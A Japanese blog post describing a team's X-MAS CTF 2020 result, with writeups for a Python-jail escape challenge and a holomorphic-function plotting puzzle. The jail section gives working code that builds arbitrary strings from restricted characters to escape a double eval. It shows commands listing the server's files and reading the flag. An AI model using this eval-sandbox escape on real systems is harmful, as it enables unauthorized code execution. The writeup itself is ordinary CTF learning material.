X-mas ctf2020参加しました

タイトルの通り、x-mas ctf2020によくわからないまま参加しました。
xmas.htsp.ro

結果としては、全体52位(正のスコア1064チーム)で
日本チーム1位でした。
f:id:kou6839:20201221131920p:plain

ctfにろくに参加したことない3人(4人)でしたが、
1週間という長い期間ということもあり、これまでと違って問題割り振りや全体把握をしていたのが良かったと思います。

これまでのctfでは解けそうな問題に一点集中→時間浪費で終了していたため、スコア稼ぎの観点が足りていませんでした。

以下、解けなかった問題を他者解説を参考にした writeupです。
見つけ次第更新していきます。

Misc

Krampus's Lair

参考URL
[CTF Writeup] X-MAS 2020 - Krampus' Lair

<問題概要>
最初に冒険ゲームが始まりますが、本題ではありません。
説明されていませんが、n e s wで東西南北に移動できるので、look read take useを使って、ゲームを進めます。

最終的に、
f:id:kou6839:20201221140125p:plain
の記述が現れ、
GEM
HUNTER SNARE
CAN
TIME
()
v / ,
だけの文字を使って、ESCAPE THE PYTHON JAILします。

<感想>
てっきり、pythonのシェルを終わらせるためにexit()を呼ぼうと頑張っていましたが(xが上記文字に含まれません)、他者write upをみると全然違っていました・・・。

<解答>
適当に入力すると
eval(eval("入力"))が実行されることが予測できます。
inner evalでprint("aaa")のようなものを作って、
outer evalで実行します。

"入力"を作るのですが、まず初めに上記の文字だけでどんな関数が使えるのか調べます。

>>> ALLOWED_CHARS = "gemhuntersnarecantimer(),/v"
>>> [f for f in dir(__builtins__) if all([c in ALLOWED_CHARS for c in f])]
['ascii', 'chr', 'enumerate', 'getattr', 'hasattr', 'hash', 'int', 'isinstance', 'iter', 'min', 'range', 'set', 'setattr', 'str', 'sum', 'vars']

次に、これらの関数を使って、任意の文字列が作れれば、eval()を通して実行することができます。
また、下記①②を通して、上記関数から任意の文字列を作ることができます。
1-1 chr()が使えるため、任意の数字を取得できれば、任意の文字が作れることになります。
1-2 hash() sum()を使って、任意の数字を作ることができます。
2-1上記任意の文字を、getattr(str,min(vars(str))()で文字列に結合することができます。

↓具体的な関数(上記writeupより)

def one():
    return "int(hash(int)/hash(int))"

def integer(n):
    return "sum((" + ",".join([one()] * n) + "))"

def char(c):
    return "chr(" + integer(ord(c)) + ")"

def string(s):
    chars = [char(c) for c in s]
    out = chars[0]
    for c in chars[1:]:
        out = "getattr(str,min(vars(str)))(" + out + "," + c + ")"

    return out

string()に実行したい文字を渡すことで、任意の関数を実行できるようになりました。

> print(__import__("os").listdir())
You try double eval'ing your contraption: 'print(__import__("os").listdir())'
['run', 'var', 'tmp', 'boot', 'etc', 'root', 'bin', 'media', 'opt', 'dev', 'proc', 'home', 'lib64', 'srv', 'usr', 'sbin', 'lib', 'mnt', 'sys', '.dockerenv', 'chall']
> print(__import__("os").listdir("chall"))
You try double eval'ing your contraption: 'print(__import__("os").listdir("chall"))'
['text.py', 'flag.txt', 'server.py', '__pycache__']
> print(open("chall/flag.txt").read())
You try double eval'ing your contraption: 'print(open("chall/flag.txt").read())'
X-MAS{70_f1gh7_Kr4mpu5_y0u_f1r57_mu57_br34k_0u7_0f_175_PYTH0N_J41L-017F485A}

programming

Santa's ELF holomorphing machine

参考write up
[CTF Writeup] X-MAS 2020 - Santa's ELF holomorphing machine

<問題概要>
複素平面のx,y座標を正則関数を使って、u,vに変換する。
ただし、メモリの観点から、u,vのどちらかへの正則関数しか保持していない。

<感想>
u,vどちらかの座標から文字っぽい感じにもう片方の座標を特定できないかとおもったけど、普通に無理でした・・・。


<解説>
正則関数にはある性質があり、コーシー・リーマンの方程式から、u,vいずれかを計算できるようです。
正則関数 - Wikipedia

それを使って、座標に点をplotするとflagが現れます。

import matplotlib.pyplot as plt

f = open('data.txt')
lines2 = f.readlines()
f.close()

coordinates=[]

for line in lines2:
    line=line.strip()
    print(line)

    a=int(line.split(" * x")[0].split("= ")[1])
    b=int(line.split(" * y")[0].split("+ ")[1])
    x = float(line.split("z = ")[1].split(" + ")[0]) 
    y = float(line.split(" * i")[0].split(" + ")[-1])   
    
    if line[0]=='u':
        coordinates.append((a*x+b*y, -(a*y-b*x)/2))
    elif line[0]=='v':
        coordinates.append((b*x-a*y,-(a*x+b*y)/2))
    else:
        print("error!")


x,y=zip(*coordinates)
plt.scatter(x,y)
plt.show()

↑のvにかかる-1と/2は作画の都合です。

↓flag 読みづらすぎ・・・。
f:id:kou6839:20201221164123p:plain


Binary

Web